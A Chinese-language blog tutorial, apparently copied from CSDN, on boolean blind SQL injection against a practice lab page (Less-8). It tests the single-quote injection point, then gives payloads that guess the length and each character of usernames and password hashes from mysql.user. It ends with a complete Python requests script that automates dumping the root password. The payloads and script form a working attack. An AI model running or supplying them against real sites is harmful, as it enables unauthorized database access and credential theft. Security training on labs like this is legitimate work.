Python猜解网站数据库管理员密码的脚本
作者:士别三日wyx 发布时间:2024-01-23 16:55:02
一、功能分析
简单分析一下网站的功能,大致如下:
需要用户在地址栏中提交参数,根据参数中的id查询对应的用户信息。
如果id存在,则显示查询成功,比如 输入?id=1
如果id不存在,则页面空显示,比如输入 ?id=0(用户id不能是0或负数,id为0时,查询结果为空,会导致页面空显示)
如果数据库报错,页面也是空显示,比如输入?id=1’ 或 ?id=1"(参数中携带引号会导致数据库报错,前提是后台代码未过滤单引号)
二、思路分析
页面没有显示位,不适合联合注入。
没有数据库的报错信息,不适合使用报错注入。
只有正确和错误两种情况,推荐使用布尔盲注。
网站没有过滤参数,不需要绕过,盲注的时间复杂度较高,文末提供Python脚本。
三、步骤实现
1)判断注入点
输入参数 ?id=1’,页面空显示,说明单引号被数据库识别,导致数据库报错。
输入参数 ?id=1",页面正常显示查询成功,说明双引号未被数据库识别;1" 被数据库识别成了 1,实际查询了id为1的用户。
单引号可以识别,双引号不被识别,初步判断:网站的注入点是单引号,下面使用万能账号进一步验证。
输入 ?id=1’ and 1 – a,页面正常显示,查询成功。
输入 ?id=1’ and 0 – a,页面空显示,未查询到。
人为构造参数可以使页面产生对应的变化,由此判断,网站存在注入,注入点为单引号字符型注入。
2)猜解长度
输入参数 ?id=1’ and length(“abc”)>1 – a,页面正常显示查询成功。
length(“abc”)可以计算出字符串“abc”的长度,长度为3。
length(“abc”)>1 结果为 true,因此,参数等价于 ?id=1’ and 1 – a。
输入参数 ?id=1’ and length(“abc”)<1 – a,页面空显示。
length(“abc”)<1 结果为 false,参数等价于 ?id=1’ and 0 – a。
由此可以推断出,长度函数未被过滤,可以正常使用,接下来我们开始猜解数据库管理员密码的长度。
mysql.user表用来存放数据库的用户名和密码等信息,我们查询这个表即可。
输入以下payload:
?id=1' and length(
(select group_concat(user,password)
from mysql.user)
)=1 -- a
我们先假设用户名和密码的总长度为1,结果肯定是空显示,我们将测试长度依次递增,测试2到n,当测试长度递增到42时,页面正常显示,由此可判断用户名和密码的总长度为42,payload如下:
?id=1' and length(
(select group_concat(user,password)
from mysql.user)
)=42 -- a
3)猜解数据
长度确定后,我们从第一个字符开始,猜解出完整的数据。
ASCLL码表中包含了字符的所有可能性(字母、数字或特殊符号),ASCLL总共127个字符,其中可输入的字符只有32~126,我们穷举每一种可能性,即可猜解出
完整的数据。
我们先假设第一个字符的ASCLL码是32,payload如下:
?id=1' and ascii(substr(
(select group_concat(user,password)
from mysql.user)
,1,1))=32 -- a
页面空显示说明错误,我们从32开始递增至126,当页面正常显示时(出现 You are in……),说明猜解正确。
4)猜解脚本
使用盲注时,手动猜解时间成本太大,推荐使用Python猜解,脚本如下:
import requests
# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://a30842672c28473a956dc5ae3233d655.app.mituan.zone/Less-8"
# 猜解长度使用的payload
payload_len = """?id=1' and length((
select group_concat(user,password)
from mysql.user
))={n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(substr((
select group_concat(user,password)
from mysql.user
),{n},1))={r} -- a """
# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
print('测试长度完成,长度为:', length)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增
# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
for l in range(1, length+1):
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(n= l, r= n))
if 'You are in...........' in response.text:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;
# 开始猜解
getStr(url, payload_str, getLength(url, payload_len))
脚本猜解结果如下,成功猜解root用户密码:
来源:https://blog.csdn.net/wangyuxiang946/article/details/122964132


猜你喜欢
- 什么是粘包问题最近在使用Golang编写Socket层,发现有时候接收端会一次读到多个数据包的问题。于是通过查阅资料,发现这个就是传说中的T
- pip是常用的python包管理工具,用python的同学,都离不开pip ~~第一种 在系统自带的python2.7的路径下pip是pyt
- 作为语言模型和文本挖掘中的常用工具,Word2Vec也可以用来构建聊天机器人。在本文中,我们将使用Python和Gensim库从头开始构建一
- 闭包内容:匿名函数:能够完成简单的功能,传递这个函数的引用,只有功能普通函数:能够完成复杂的功能,传递这个函数的引用,只有功能闭包:能够完成
- 先把我的browser信息说明一下:这是在opera里about中显示的“浏览器识别”Opera/9.62 (Windows NT 5.1;
- 正文首先得说明的是,Python的类分为经典类 和 新式类经典类是python2.2之前的东西,但是在2.7还在兼容,但是在3之后的版本就只
- 关于 Go 中 Map 类型和 Slice 类型的传递Map 类型先看例子 m1:func main() { m := make
- 聚集索引,数据实际上是按顺序存储的,数据页就在索引页上。就好像参考手册将所有主题按顺序编排一样。一旦找到了所要搜索的数据,就完成了这次搜索,
- mysql安装好经常发现无法正常启动碰到最多的是error 2003的错误,以下为解决方法: mysqld -nt -remove mysq
- 1.模型类中设置:null=True,表示数据库创建时该字段可不填,用NULL填充.MySQL:Null这一列,如果值为YES表示:创建一条
- 前言所谓延迟静态绑定,顾名思义,静态调用时::符号左侧的部分的的绑定是延迟,也就是说不再被解析为定义当前方法所在的类,而是在实际运行时计算的
- 问题: 在Python爬虫的过程中经常要模拟UserAgent, 因此自动生成UserAgent十分有用, 最近看到一个Python库(fa
- 错误图片解决mysql -u root -p 以root身份进入mysqlgrant all on *.* to 'root'
- 本文默认你的开发环境.数据库已经安装好想用使用数据库.我们需要现在pom文件中添加相应的依赖pom.xml<?xml version=
- keras 模块里面为我们提供了一个预训练好的模型,也就是开箱即可使用的图像识别模型趁着国庆假期有时间我们就来看看这个预训练模型如何使用吧可
- 使用python进行基本的图像操作与处理前言:与早期计算机视觉领域多数程序都是由 C/C++ 写就的情形不同。随着计算机硬件速度越来越快,研
- 使用MySQL,安全问题不能不注意。以下是MySQL提示的23个注意事项:1、如果客户端和服务器端的连接需要跨越并通过不可信任的网络,那么就
- 问题分析在关闭数据库的命令发现mysql关不了,提示Warning: World-writable config file '/et
- 🚀 文章简介 :本篇文章的实战部分中主要使用到了 MediaPipe 与 OpenCv 两个库,实现了隔空操作的效果,主要有**隔空操作鼠标
- 一、FFmpeg 多个音频合并的2种方法多个mp3文件合并成一个mp3文件一种方法是连接到一起ffmpeg64.exe -i "c